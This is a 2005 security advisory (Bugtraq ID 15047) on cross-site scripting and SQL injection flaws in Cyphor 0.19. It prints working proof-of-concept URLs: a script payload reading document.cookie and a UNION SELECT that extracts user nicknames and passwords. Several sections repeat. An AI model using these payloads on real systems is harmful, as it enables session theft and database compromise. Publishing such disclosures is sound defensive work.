Cyphor Multiple Input Validation Vulnerabilities
BID:15047
Info
Cyphor Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 15047 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 08 2005 12:00AM |
| Updated: | Oct 08 2005 12:00AM |
| Credit: | [email protected] disclosed these issues. |
| Vulnerable: |
Cyphor Cyphor 0.19 |
| Not Vulnerable: | |
Discussion
Cyphor Multiple Input Validation Vulnerabilities
Cyphor is prone to multiple cross-site scripting and SQL injection vulnerabilities.
Exploitation could allow for theft of cookie-based authentication credentials or unauthorized access to database data. Other attacks are also possible.
Cyphor is prone to multiple cross-site scripting and SQL injection vulnerabilities.
Exploitation could allow for theft of cookie-based authentication credentials or unauthorized access to database data. Other attacks are also possible.
Exploit / POC
Cyphor Multiple Input Validation Vulnerabilities
No exploit is required. The following examples were provided:
Cross-site scripting:
http://www.example.com/[path]/include/footer.php?t_login=<script>alert(document.cookie)</script>
SQL injection:
http://www.example.com/[path]/newmsg.php?fid=''%20UNION%20SELECT%20nick,%20password,%20null,%20null%20FROM%20[table_pr\efix]users%20/*
The following exploit was also provided:
No exploit is required. The following examples were provided:
Cross-site scripting:
http://www.example.com/[path]/include/footer.php?t_login=<script>alert(document.cookie)</script>
SQL injection:
http://www.example.com/[path]/newmsg.php?fid=''%20UNION%20SELECT%20nick,%20password,%20null,%20null%20FROM%20[table_pr\efix]users%20/*
The following exploit was also provided:
Solution / Fix
Cyphor Multiple Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Cyphor Multiple Input Validation Vulnerabilities
References:
References: